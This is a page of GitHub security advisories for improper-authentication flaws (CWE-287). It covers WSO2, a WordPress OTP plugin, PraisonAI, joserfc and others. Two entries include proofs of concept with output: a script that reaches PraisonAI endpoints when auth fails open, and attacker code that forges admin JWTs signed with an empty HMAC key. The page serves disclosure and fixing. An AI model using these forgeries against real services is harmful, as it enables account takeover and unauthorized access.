CWE-287
DiscouragedImproper Authentication
Abstraction: Class · Status: Draft
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.
6794 vulnerabilities reference this CWE, most recent first.
GHSA-GF54-37HH-J4G4
Vulnerability from github – Published: 2025-09-23 18:30 – Updated: 2025-09-23 18:30An authentication bypass vulnerability exists in multiple WSO2 products when FIDO authentication is enabled. When a user account is deleted, the system does not automatically remove associated FIDO registration data. If a new user account is later created using the same username, the system may associate the new account with the previously registered FIDO device.
This flaw may allow a previously deleted user to authenticate using their FIDO credentials and impersonate the newly created user, resulting in unauthorized access. The vulnerability applies only to deployments that utilize FIDO-based authentication.
{
"affected": [],
"aliases": [
"CVE-2025-0672"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-23T18:15:30Z",
"severity": "LOW"
},
"details": "An authentication bypass vulnerability exists in multiple WSO2 products when FIDO authentication is enabled. When a user account is deleted, the system does not automatically remove associated FIDO registration data. If a new user account is later created using the same username, the system may associate the new account with the previously registered FIDO device.\n\nThis flaw may allow a previously deleted user to authenticate using their FIDO credentials and impersonate the newly created user, resulting in unauthorized access. The vulnerability applies only to deployments that utilize FIDO-based authentication.",
"id": "GHSA-gf54-37hh-j4g4",
"modified": "2025-09-23T18:30:25Z",
"published": "2025-09-23T18:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0672"
},
{
"type": "WEB",
"url": "https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2025/WSO2-2025-3134"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GFCH-Q4QC-H76W
Vulnerability from github – Published: 2022-05-01 23:39 – Updated: 2025-04-09 03:52Gallarific does not require authentication for (1) users.php and (2) index.php, which allows remote attackers to add and edit tasks via a direct request. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.
{
"affected": [],
"aliases": [
"CVE-2008-1327"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-03-13T14:44:00Z",
"severity": "HIGH"
},
"details": "Gallarific does not require authentication for (1) users.php and (2) index.php, which allows remote attackers to add and edit tasks via a direct request. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.",
"id": "GHSA-gfch-q4qc-h76w",
"modified": "2025-04-09T03:52:32Z",
"published": "2022-05-01T23:39:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-1327"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/41106"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r02c2d634fa74209d941c90f9a4cd36a6f12366ca65f9b90446ff2de3%40%3Cissues.struts.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r02c2d634fa74209d941c90f9a4cd36a6f12366ca65f9b90446ff2de3@%3Cissues.struts.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rf482c101a88445d73cc2e89dbf7f16ae00a4aa79a544a1e72b2326db%40%3Cissues.struts.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rf482c101a88445d73cc2e89dbf7f16ae00a4aa79a544a1e72b2326db@%3Cissues.struts.apache.org%3E"
},
{
"type": "WEB",
"url": "http://downloads.securityfocus.com/vulnerabilities/exploits/28163.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/29399"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/28163"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GFJG-C4FV-56HQ
Vulnerability from github – Published: 2022-05-14 01:35 – Updated: 2022-05-14 01:35BN-SDWBP3 firmware version 1.0.9 and earlier allows an attacker on the same network segment to bypass authentication to access to the management screen and execute an arbitrary command via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2018-0676"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-01-09T23:29:00Z",
"severity": "HIGH"
},
"details": "BN-SDWBP3 firmware version 1.0.9 and earlier allows an attacker on the same network segment to bypass authentication to access to the management screen and execute an arbitrary command via unspecified vectors.",
"id": "GHSA-gfjg-c4fv-56hq",
"modified": "2022-05-14T01:35:21Z",
"published": "2022-05-14T01:35:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-0676"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN65082538/index.html"
},
{
"type": "WEB",
"url": "https://p3.support.panasonic.com/faq/show/5017?\u0026site_domain=p3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GFJG-JW2H-6XCQ
Vulnerability from github – Published: 2026-08-05 09:31 – Updated: 2026-08-05 18:31The OTP Login With Phone Number, OTP Verification WordPress plugin before 1.8.71 does not limit the number of OTP verification attempts or invalidate a one-time login code after a wrong guess, and an unauthenticated user can request a login code for any account. Because the code is a short numeric OTP, an attacker can brute-force it and take over any account, including an administrator's.
{
"affected": [],
"aliases": [
"CVE-2026-15210"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-05T07:16:34Z",
"severity": "CRITICAL"
},
"details": "The OTP Login With Phone Number, OTP Verification WordPress plugin before 1.8.71 does not limit the number of OTP verification attempts or invalidate a one-time login code after a wrong guess, and an unauthenticated user can request a login code for any account. Because the code is a short numeric OTP, an attacker can brute-force it and take over any account, including an administrator\u0027s.",
"id": "GHSA-gfjg-jw2h-6xcq",
"modified": "2026-08-05T18:31:29Z",
"published": "2026-08-05T09:31:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15210"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/96101127-8b13-4770-9204-f540fb044040"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GFQ8-HMPH-9GJV
Vulnerability from github – Published: 2026-08-25 15:15 – Updated: 2026-08-25 15:15Summary
The PraisonAI Recipe HTTP server silently allows unauthenticated requests when auth is configured as api-key or jwt but the corresponding secret is missing.
This creates an authentication fail-open condition. An operator can start the Recipe server with authentication enabled, including on a non-localhost interface, but the server still accepts unauthenticated requests if no API key or JWT secret is provided.
The issue is especially risky because the CLI safety check for non-localhost binding only verifies that auth != "none". It does not verify that an actual API key or JWT secret exists.
Details
The Recipe server documents the following authentication modes:
noneapi-keyjwt
Relevant source locations:
src/praisonai/praisonai/recipe/serve.pysrc/praisonai/praisonai/cli/features/recipe.py
In create_auth_middleware(), the API key middleware resolves the expected key as:
expected_key = api_key or os.environ.get("PRAISONAI_API_KEY")
if not expected_key:
# No key configured, allow request
return await call_next(request)
This means auth: api-key does not enforce authentication if api_key / PRAISONAI_API_KEY is missing.
The JWT middleware has the same fail-open behavior:
secret = jwt_secret or os.environ.get("PRAISONAI_JWT_SECRET")
if not secret:
return await call_next(request)
The auth middleware is still attached when auth is configured:
auth_type = config.get("auth")
if auth_type and auth_type != "none":
auth_middleware = create_auth_middleware(
auth_type,
api_key=config.get("api_key"),
jwt_secret=config.get("jwt_secret"),
)
if auth_middleware:
middleware.append(Middleware(auth_middleware))
The CLI path makes this externally reachable in a misconfigured deployment. In cmd_serve, the non-localhost safety check only verifies that auth is not "none":
if host != "127.0.0.1" and host != "localhost" and auth == "none":
self._print_error("Auth required for non-localhost binding. Use --auth api-key or --auth jwt")
return self.EXIT_POLICY_DENIED
Therefore, this command passes the safety check:
praisonai recipe serve --host 0.0.0.0 --auth api-key
However, if no --api-key or PRAISONAI_API_KEY is configured, requests are still accepted without authentication.
Affected endpoints include:
POST /v1/recipes/runPOST /v1/recipes/streamPOST /v1/recipes/validate- optional
POST /admin/reloadwhenenable_adminis true
PoC
The following local PoC verifies that api-key and jwt authentication fail open when the corresponding secret is missing.
Run from the repository root with test dependencies installed:
python3 poc_recipe_auth_fail_open.py
poc_recipe_auth_fail_open.py:
import os
import sys
from pathlib import Path
from starlette.testclient import TestClient
ROOT = Path.cwd()
sys.path.insert(0, str(ROOT / "src" / "praisonai"))
sys.path.insert(0, str(ROOT / "src" / "praisonai-agents"))
# Ensure no secrets are present in the environment.
os.environ.pop("PRAISONAI_API_KEY", None)
os.environ.pop("PRAISONAI_JWT_SECRET", None)
from praisonai.recipe.serve import create_app
# api-key auth selected, but no key configured.
app_open = create_app({"auth": "api-key", "enable_admin": True})
client_open = TestClient(app_open)
print("api-key auth with missing key:")
print("GET /openapi.json:", client_open.get("/openapi.json").status_code)
print("POST /admin/reload:", client_open.post("/admin/reload").status_code)
# api-key auth selected with an actual key configured.
app_closed = create_app({
"auth": "api-key",
"api_key": "expected",
"enable_admin": True,
})
client_closed = TestClient(app_closed)
print("\napi-key auth with configured key:")
print("missing key:", client_closed.post("/admin/reload").status_code)
print("wrong key:", client_closed.post(
"/admin/reload",
headers={"X-API-Key": "wrong"},
).status_code)
print("correct key:", client_closed.post(
"/admin/reload",
headers={"X-API-Key": "expected"},
).status_code)
# jwt auth selected, but no JWT secret configured.
app_jwt_open = create_app({"auth": "jwt"})
client_jwt_open = TestClient(app_jwt_open)
print("\njwt auth with missing secret:")
print("GET /openapi.json:", client_jwt_open.get("/openapi.json").status_code)
Observed output:
api-key auth with missing key:
GET /openapi.json: 200
POST /admin/reload: 200
api-key auth with configured key:
missing key: 401
wrong key: 401
correct key: 200
jwt auth with missing secret:
GET /openapi.json: 200
The important result is that auth=api-key without a configured key allows requests to protected endpoints, while the same endpoint correctly returns 401 when a key is configured and missing/wrong.
Impact
In an exposed deployment, an unauthenticated attacker can access Recipe server endpoints even though the operator selected api-key or jwt authentication.
This gives unauthenticated access to recipe execution endpoints such as:
POST /v1/recipes/runPOST /v1/recipes/stream
If admin endpoints are enabled, the attacker can also access:
POST /admin/reload
The impact depends on the available recipes and deployment configuration. In the worst case, unauthenticated users can trigger recipe workflows or administrative reload operations on an externally bound Recipe server.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "PraisonAI"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.6.58"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55533"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-25T15:15:54Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nThe PraisonAI Recipe HTTP server silently allows unauthenticated requests when `auth` is configured as `api-key` or `jwt` but the corresponding secret is missing.\n\nThis creates an authentication fail-open condition. An operator can start the Recipe server with authentication enabled, including on a non-localhost interface, but the server still accepts unauthenticated requests if no API key or JWT secret is provided.\n\nThe issue is especially risky because the CLI safety check for non-localhost binding only verifies that `auth != \"none\"`. It does not verify that an actual API key or JWT secret exists.\n\n### Details\n\nThe Recipe server documents the following authentication modes:\n\n- `none`\n- `api-key`\n- `jwt`\n\nRelevant source locations:\n\n- `src/praisonai/praisonai/recipe/serve.py`\n- `src/praisonai/praisonai/cli/features/recipe.py`\n\nIn `create_auth_middleware()`, the API key middleware resolves the expected key as:\n\n```python\nexpected_key = api_key or os.environ.get(\"PRAISONAI_API_KEY\")\n\nif not expected_key:\n # No key configured, allow request\n return await call_next(request)\n```\n\nThis means `auth: api-key` does not enforce authentication if `api_key` / `PRAISONAI_API_KEY` is missing.\n\nThe JWT middleware has the same fail-open behavior:\n\n```python\nsecret = jwt_secret or os.environ.get(\"PRAISONAI_JWT_SECRET\")\nif not secret:\n return await call_next(request)\n```\n\nThe auth middleware is still attached when `auth` is configured:\n\n```python\nauth_type = config.get(\"auth\")\nif auth_type and auth_type != \"none\":\n auth_middleware = create_auth_middleware(\n auth_type,\n api_key=config.get(\"api_key\"),\n jwt_secret=config.get(\"jwt_secret\"),\n )\n if auth_middleware:\n middleware.append(Middleware(auth_middleware))\n```\n\nThe CLI path makes this externally reachable in a misconfigured deployment. In `cmd_serve`, the non-localhost safety check only verifies that auth is not `\"none\"`:\n\n```python\nif host != \"127.0.0.1\" and host != \"localhost\" and auth == \"none\":\n self._print_error(\"Auth required for non-localhost binding. Use --auth api-key or --auth jwt\")\n return self.EXIT_POLICY_DENIED\n```\n\nTherefore, this command passes the safety check:\n\n```bash\npraisonai recipe serve --host 0.0.0.0 --auth api-key\n```\n\nHowever, if no `--api-key` or `PRAISONAI_API_KEY` is configured, requests are still accepted without authentication.\n\nAffected endpoints include:\n\n- `POST /v1/recipes/run`\n- `POST /v1/recipes/stream`\n- `POST /v1/recipes/validate`\n- optional `POST /admin/reload` when `enable_admin` is true\n\n### PoC\n\nThe following local PoC verifies that `api-key` and `jwt` authentication fail open when the corresponding secret is missing.\n\nRun from the repository root with test dependencies installed:\n\n```bash\npython3 poc_recipe_auth_fail_open.py\n```\n\n`poc_recipe_auth_fail_open.py`:\n\n```python\nimport os\nimport sys\nfrom pathlib import Path\n\nfrom starlette.testclient import TestClient\n\nROOT = Path.cwd()\nsys.path.insert(0, str(ROOT / \"src\" / \"praisonai\"))\nsys.path.insert(0, str(ROOT / \"src\" / \"praisonai-agents\"))\n\n# Ensure no secrets are present in the environment.\nos.environ.pop(\"PRAISONAI_API_KEY\", None)\nos.environ.pop(\"PRAISONAI_JWT_SECRET\", None)\n\nfrom praisonai.recipe.serve import create_app\n\n# api-key auth selected, but no key configured.\napp_open = create_app({\"auth\": \"api-key\", \"enable_admin\": True})\nclient_open = TestClient(app_open)\n\nprint(\"api-key auth with missing key:\")\nprint(\"GET /openapi.json:\", client_open.get(\"/openapi.json\").status_code)\nprint(\"POST /admin/reload:\", client_open.post(\"/admin/reload\").status_code)\n\n# api-key auth selected with an actual key configured.\napp_closed = create_app({\n \"auth\": \"api-key\",\n \"api_key\": \"expected\",\n \"enable_admin\": True,\n})\nclient_closed = TestClient(app_closed)\n\nprint(\"\\napi-key auth with configured key:\")\nprint(\"missing key:\", client_closed.post(\"/admin/reload\").status_code)\nprint(\"wrong key:\", client_closed.post(\n \"/admin/reload\",\n headers={\"X-API-Key\": \"wrong\"},\n).status_code)\nprint(\"correct key:\", client_closed.post(\n \"/admin/reload\",\n headers={\"X-API-Key\": \"expected\"},\n).status_code)\n\n# jwt auth selected, but no JWT secret configured.\napp_jwt_open = create_app({\"auth\": \"jwt\"})\nclient_jwt_open = TestClient(app_jwt_open)\n\nprint(\"\\njwt auth with missing secret:\")\nprint(\"GET /openapi.json:\", client_jwt_open.get(\"/openapi.json\").status_code)\n```\n\nObserved output:\n\n```text\napi-key auth with missing key:\nGET /openapi.json: 200\nPOST /admin/reload: 200\n\napi-key auth with configured key:\nmissing key: 401\nwrong key: 401\ncorrect key: 200\n\njwt auth with missing secret:\nGET /openapi.json: 200\n```\n\nThe important result is that `auth=api-key` without a configured key allows requests to protected endpoints, while the same endpoint correctly returns `401` when a key is configured and missing/wrong.\n\n### Impact\n\nIn an exposed deployment, an unauthenticated attacker can access Recipe server endpoints even though the operator selected `api-key` or `jwt` authentication.\n\nThis gives unauthenticated access to recipe execution endpoints such as:\n\n- `POST /v1/recipes/run`\n- `POST /v1/recipes/stream`\n\nIf admin endpoints are enabled, the attacker can also access:\n\n- `POST /admin/reload`\n\nThe impact depends on the available recipes and deployment configuration. In the worst case, unauthenticated users can trigger recipe workflows or administrative reload operations on an externally bound Recipe server.",
"id": "GHSA-gfq8-hmph-9gjv",
"modified": "2026-08-25T15:15:54Z",
"published": "2026-08-25T15:15:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gfq8-hmph-9gjv"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret"
}
GHSA-GFWJ-V75F-C948
Vulnerability from github – Published: 2022-02-12 00:01 – Updated: 2022-09-02 00:01StarWind SAN and NAS before 0.2 build 1685 allows users to reset other users' passwords.
{
"affected": [],
"aliases": [
"CVE-2022-24551"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-02-06T21:15:00Z",
"severity": "HIGH"
},
"details": "StarWind SAN and NAS before 0.2 build 1685 allows users to reset other users\u0027 passwords.",
"id": "GHSA-gfwj-v75f-c948",
"modified": "2022-09-02T00:01:17Z",
"published": "2022-02-12T00:01:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24551"
},
{
"type": "WEB",
"url": "https://www.starwindsoftware.com/security/sw-20220204-0001"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GG8G-78JX-GXGC
Vulnerability from github – Published: 2022-05-24 19:08 – Updated: 2022-05-24 19:08IBM InfoSphere Data Replication 11.4 and IBM InfoSphere Change Data Capture for z/OS 10.2.1, under certain configurations, could allow a user to bypass authentication mechanisms using an empty password string. IBM X-Force ID: 189834
{
"affected": [],
"aliases": [
"CVE-2020-4821"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-07-16T17:15:00Z",
"severity": "CRITICAL"
},
"details": "IBM InfoSphere Data Replication 11.4 and IBM InfoSphere Change Data Capture for z/OS 10.2.1, under certain configurations, could allow a user to bypass authentication mechanisms using an empty password string. IBM X-Force ID: 189834",
"id": "GHSA-gg8g-78jx-gxgc",
"modified": "2022-05-24T19:08:17Z",
"published": "2022-05-24T19:08:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-4821"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/189834"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/6472909"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/6472911"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GG9X-QCX2-XMRH
Vulnerability from github – Published: 2026-07-02 19:12 – Updated: 2026-07-02 19:12Summary
joserfc.jwt.decode accepts attacker-forged HMAC-signed tokens when the
caller-supplied verification key is the empty string or None.
HMACAlgorithm.sign and HMACAlgorithm.verify in
src/joserfc/_rfc7518/jws_algs.py:62-70 feed whatever
OctKey.get_op_key(...) produced into hmac.new(...), and OctKey.import_key
only emits a SecurityWarning when the raw key is shorter than 14 bytes
without rejecting zero-length input. Any application whose JWT secret is
sourced from an unset environment variable, an unset Redis / DB row, a key
finder fallback that returns "", or a Hash.new("")-style default verifies
attacker tokens forged with HMAC(key=b"", signing_input) because the
attacker trivially reproduces the same digest with no secret knowledge.
This is a cross-language sibling of jwt/ruby-jwt GHSA-c32j-vqhx-rx3x /
CVE-2026-45363 (HS256/HS384/HS512 verify accepted an empty/nil HMAC key,
filed 2026-05-13). ruby-jwt v3.2.0 added an ensure_valid_key! precondition
that rejects empty keys at both sign and verify entry; joserfc has no
equivalent. (The same primitive lives in the deprecated authlib.jose
module by the same maintainer; filing this advisory against joserfc
alongside a separate authlib advisory because the codebases are
independent shipping artifacts on PyPI.)
Affected versions
joserfc (PyPI) <= 1.6.7 (latest published release reproduces). No
patched release.
Privilege required
Unauthenticated. Any HTTP / RPC endpoint that calls joserfc.jwt.decode
with a verification key sourced from configuration is reachable. The
condition that makes the bug observable is operator-side: the configured
secret resolves to "" or None. Common patterns that produce this state
in production:
OctKey.import_key(os.environ.get("JWT_SECRET", ""))- A key finder callable that returns
""/Nonefor an unknownkid - Default values like
os.getenv("SECRET") or "",cfg.get("secret", "") - Database / Redis row lookup that returns
""for a missing row
Vulnerable code
src/joserfc/_rfc7518/jws_algs.py:43-70:
class HMACAlgorithm(JWSAlgModel):
SHA256 = hashlib.sha256
SHA384 = hashlib.sha384
SHA512 = hashlib.sha512
def __init__(self, sha_type, recommended=False):
self.name = f"HS{sha_type}"
self.description = f"HMAC using SHA-{sha_type}"
self.recommended = recommended
self.hash_alg = getattr(self, f"SHA{sha_type}")
self.algorithm_security = sha_type
def sign(self, msg: bytes, key: OctKey) -> bytes:
op_key = key.get_op_key("sign")
return hmac.new(op_key, msg, self.hash_alg).digest()
def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool:
op_key = key.get_op_key("verify")
v_sig = hmac.new(op_key, msg, self.hash_alg).digest()
return hmac.compare_digest(sig, v_sig)
src/joserfc/_rfc7518/oct_key.py:52-63:
@classmethod
def import_key(cls, value, parameters=None, password=None) -> "OctKey":
key: OctKey = super(OctKey, cls).import_key(value, parameters, password)
if len(key.raw_value) < 14:
# https://csrc.nist.gov/publications/detail/sp/800-131a/rev-2/final
warnings.warn("Key size should be >= 112 bits", SecurityWarning)
return key
The < 14 check only warns; len(key.raw_value) == 0 falls through and is
returned to the caller. HMACAlgorithm.verify then calls
hmac.compare_digest(sig, hmac.new(b"", signing_input, sha256).digest()),
and Python's hmac.new(b"", ...) accepts the empty key.
Cross-language sibling of ruby-jwt's fix in lib/jwt/jwa/hmac.rb:
def ensure_valid_key!(key)
raise_verify_error!('HMAC key expected to be a String') unless key.is_a?(String)
raise_verify_error!('HMAC key cannot be empty') if key.empty?
end
invoked from both sign(signing_key:) and verify(verification_key:).
PyJWT landed an equivalent guard in 2.13.0 (HMACAlgorithm.prepare_key
raises InvalidKeyError("HMAC key must not be empty.") for len(key_bytes) == 0).
firebase/php-jwt rejects empty material in Key.__construct. jjwt enforces a
256-bit minimum in DefaultMacAlgorithm.validateKey. joserfc has the
strongest existing length-warning logic but stops at < 14 bytes warn
rather than == 0 reject.
How an empty JWT_SECRET reaches hmac.new
- The application calls
joserfc.jwt.decode(value, key, algorithms=["HS256"])wherekey = OctKey.import_key("")(orOctKey.import_key(b""), or any custom path that yields anOctKeywhoseraw_valueisb""). decode(src/joserfc/jwt.py:86-117) calls_decode_jws(...)→deserialize_compact(value, key, algorithms, registry).deserialize_compact(src/joserfc/jws.py) dispatches toHMACAlgorithm.verify(signing_input, signature, key).verifycallskey.get_op_key("verify")→ returnsb"".hmac.new(b"", signing_input, sha256).digest()is computed; the attacker computed exactly that digest with the same empty key, sohmac.compare_digestreturnsTrueand decode succeeds.
No upstream nil-check, no length check, no schema rejection. The path is
reached from the public joserfc.jwt.decode API.
Proof of concept
Attacker (no secret knowledge):
import base64, hmac, hashlib, json, time
def b64url(b): return base64.urlsafe_b64encode(b).rstrip(b"=")
header = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
now = int(time.time())
payload = b64url(json.dumps({
"sub": "attacker", "admin": True,
"iat": now, "exp": now + 600,
}).encode())
signing_input = header + b"." + payload
sig = hmac.new(b"", signing_input, hashlib.sha256).digest()
forged = signing_input + b"." + b64url(sig)
print(forged.decode())
Server harness:
# server.py
from joserfc import jwt
from joserfc.jwk import OctKey
import os
from wsgiref.simple_server import make_server
def app(environ, start_response):
auth = environ.get("HTTP_AUTHORIZATION", "")
token = auth[len("Bearer "):].strip() if auth.startswith("Bearer ") else ""
key = OctKey.import_key(os.environ.get("JWT_SECRET", "")) # default = ""
try:
tok = jwt.decode(token, key, algorithms=["HS256"])
c = tok.claims
body = ("OK: sub=%r admin=%r\n" % (c.get("sub"), c.get("admin"))).encode()
start_response("200 OK", [("Content-Type", "text/plain")])
return [body]
except Exception as e:
start_response("401 Unauthorized", [("Content-Type", "text/plain")])
return [("DENY: %s\n" % e).encode()]
make_server("127.0.0.1", 8383, app).serve_forever()
End-to-end reproduction (against pip install joserfc==1.6.7)
# 1. Boot the WSGI server. JWT_SECRET unset to model the misconfigured-secret
# state.
python3.12 -m venv venv
./venv/bin/pip install joserfc==1.6.7
./venv/bin/python server.py & # listens on :8383
# 2. Run the attacker
./venv/bin/python attacker.py
Captured run output (canonical pre-fix run, joserfc 1.6.7,
poc-attacker-empty-20260523-150949.log):
forged token: eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOiAiYXR0YWNrZXIiLCAiYWRtaW4iOiB0cnVlLCAiaWF0IjogMTc3OTUyMDU4OSwgImV4cCI6IDE3Nzk1MjExODl9.yE8nFmSVmQJ2Slft-BlxD04ypabkV128XbPcU6SRnBY
HTTP 200
OK: sub='attacker' admin=True
Control (real 256-bit secret, poc-control-realkey-20260523-150959.log):
forged token: eyJhbGciOiAiSFMyNTYi...
HTTP 401
DENY: BadSignatureError: bad_signature:
Interpretation:
| Configuration | Observed | Expected |
|---|---|---|
JWT_SECRET unset (== "") |
HTTP 200, admin=True (verified) |
HTTP 401 |
JWT_SECRET = 256-bit value |
HTTP 401, BadSignatureError |
HTTP 401 |
The first row demonstrates that an attacker with zero knowledge of the verification secret reaches the protected path by signing with the empty key. The second row confirms the verifier behaves correctly when the secret is non-empty, proving the bug is gated only on the secret being empty rather than on any structural defect in the attacker's token.
Fix verification: with the suggested empty-key reject wired into
HMACAlgorithm.sign / .verify, the empty-secret server re-run rejects
the same forged token with ValueError: HMAC key must not be empty.
Impact
- Complete authentication bypass on any service whose key finder resolves
to
""/None(env var unset, DB row missing, fallback). Attacker forges arbitrary claims (sub,admin, scopes, audience, expiry). - The misconfiguration that triggers the bug is silent: the server does
not fail to boot, joserfc emits a single
SecurityWarning("Key size should be >= 112 bits") atOctKey.import_keytime and then proceeds. - Severity matches the parent (ruby-jwt CVE-2026-45363, CVSS 7.4 high). CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N — AC:H because of the operator-misconfiguration precondition; impact otherwise matches authentication bypass.
Suggested fix
Upgrade the existing < 14 bytes warning in OctKey.import_key to a hard
reject at len(key.raw_value) == 0, plus a defence-in-depth check in
HMACAlgorithm.sign and HMACAlgorithm.verify after
key.get_op_key(...):
# src/joserfc/_rfc7518/oct_key.py
@classmethod
def import_key(cls, value, parameters=None, password=None) -> "OctKey":
key: OctKey = super(OctKey, cls).import_key(value, parameters, password)
if not key.raw_value:
raise ValueError("oct key material must not be empty")
if len(key.raw_value) < 14:
warnings.warn("Key size should be >= 112 bits", SecurityWarning)
return key
# src/joserfc/_rfc7518/jws_algs.py
class HMACAlgorithm(JWSAlgModel):
...
def sign(self, msg: bytes, key: OctKey) -> bytes:
op_key = key.get_op_key("sign")
if not op_key:
raise ValueError("HMAC key must not be empty")
return hmac.new(op_key, msg, self.hash_alg).digest()
def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool:
op_key = key.get_op_key("verify")
if not op_key:
raise ValueError("HMAC key must not be empty")
v_sig = hmac.new(op_key, msg, self.hash_alg).digest()
return hmac.compare_digest(sig, v_sig)
The two-layer fix mirrors PyJWT 2.13.0's approach (reject empty in
prepare_key, plus the runtime length checks the underlying hmac
primitive does not perform).
Fix PR
authlib/joserfc-ghsa-gg9x-qcx2-xmrh#1 (temp private fork PR), branch
fix/hmac-reject-empty-key, base main. URL:
https://github.com/authlib/joserfc-ghsa-gg9x-qcx2-xmrh/pull/1
Credit
Reported by tonghuaroot.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.6.7"
},
"package": {
"ecosystem": "PyPI",
"name": "joserfc"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49852"
],
"database_specific": {
"cwe_ids": [
"CWE-1391",
"CWE-287",
"CWE-326"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-02T19:12:08Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n`joserfc.jwt.decode` accepts attacker-forged HMAC-signed tokens when the\ncaller-supplied verification key is the empty string or `None`.\n`HMACAlgorithm.sign` and `HMACAlgorithm.verify` in\n[`src/joserfc/_rfc7518/jws_algs.py:62-70`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/jws_algs.py#L62-L70) feed whatever\n`OctKey.get_op_key(...)` produced into `hmac.new(...)`, and `OctKey.import_key`\nonly emits a `SecurityWarning` when the raw key is shorter than 14 bytes\nwithout rejecting zero-length input. Any application whose JWT secret is\nsourced from an unset environment variable, an unset Redis / DB row, a key\nfinder fallback that returns `\"\"`, or a `Hash.new(\"\")`-style default verifies\nattacker tokens forged with `HMAC(key=b\"\", signing_input)` because the\nattacker trivially reproduces the same digest with no secret knowledge.\n\nThis is a cross-language sibling of jwt/ruby-jwt GHSA-c32j-vqhx-rx3x /\nCVE-2026-45363 (HS256/HS384/HS512 verify accepted an empty/nil HMAC key,\nfiled 2026-05-13). ruby-jwt v3.2.0 